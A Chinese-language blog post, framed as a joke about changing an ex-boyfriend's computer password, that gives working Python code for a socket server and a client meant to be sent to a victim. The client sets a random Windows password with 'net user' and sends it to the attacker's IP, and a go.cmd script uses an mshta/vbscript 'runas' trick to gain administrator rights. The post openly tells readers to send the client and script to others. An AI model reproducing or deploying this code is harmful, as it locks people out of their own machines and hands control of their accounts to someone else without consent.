我用Python修改了前男友的开机密码,重新登录后居然发现了一个惊人的秘密.........

工具准备

开发环境:win10+python3.7

开发工具:pycharm

项目思路解析

一想到远程,就想到创建连接,一想到创建链接,就想到socket套接字(一想到套接字,就联想到我没有男盆友)

分别为三个知识点:

1.socket远程连接

2.创建客服端和服务端

3.管理员权限运行代码

咱们今天是学习修改电脑密码和远程修改小伙伴的密码,如果有哪里解析不好,欢迎大佬指点一下。

该项目代码为3份(记住自己拿的是服务端的代码,客服端代码和go.cmd是发给别人的)

首先正常创建服务端:

创建套接字

绑定ip端口

设置监听

等待连接

接收数据打印数据

关闭连接

源代码

import socket  # 导入socket
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 创建socket
server.bind(('192.168.246.1', 44444))  # 绑定IP/端口
server.listen(5)  # 监听
print('***********等待连接*********')
conn, addr = server.accept()  # 连接
print(conn) 
print('客户端的地址:', addr)
client_msg = conn.recv(1024)
print('客户端修改的密码是: %s' % client_msg)
conn.close()
server.close()
复制代码

windows的修改电脑密码的命令:net User 用户名 修改的密码(可以自己动手试一下)

在提醒一遍,记住服务端是我们自己拿着的哈,别傻乎乎的发给对方了哦!

接下来就写发给小伙伴的客户端:

连接服务端的IP和端口

获取当前使用的电脑账户名

生成随机的电脑密码

在终端执行修改Windows密码的指令

发送修改之后的密码

关闭套接字

import socket  # 导入用到的模块
import getpass
import subprocess
import random

client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 创建socket实例
client.connect((ip, 端口))  # 连接server端IP地址/端口按你自己实际情况来
user = getpass.getuser()  # 获取计算机用户名
print(user)
psd = ''
for j in range(1, 9): # 生成1-9的随机数
    m = str(random.randrange(0, 10))
    psd = psd + m

subprocess.Popen(['net', 'User', user, psd])  # 在本地执行(类似于cmd命令)
client.send(psd.encode('utf-8'))  # 将密码发送给server端
back_msg = client.recv(1024)
client.close()  # 关闭socket
复制代码

到这一步基本就可以自己去尝试了,嘿嘿,但是要注意,当前代码只能修改权限是admin的账户。

非admin用户需要提高自己的执行权限,直接使用超级管理员权限执行cmd文件go.cmd

@echo off
%1 mshta vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",1)(window.close)&&exit
cd /d "%~dp0"

start python client.py
复制代码

 

小结

最后我修改密码成功登陆,竟然发现了他的密码!

难怪每次我和他斗图,我每次都斗不赢他,原来是背着我下了几千个表情包,我怎么就没有想到这个骚操作呢!!!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值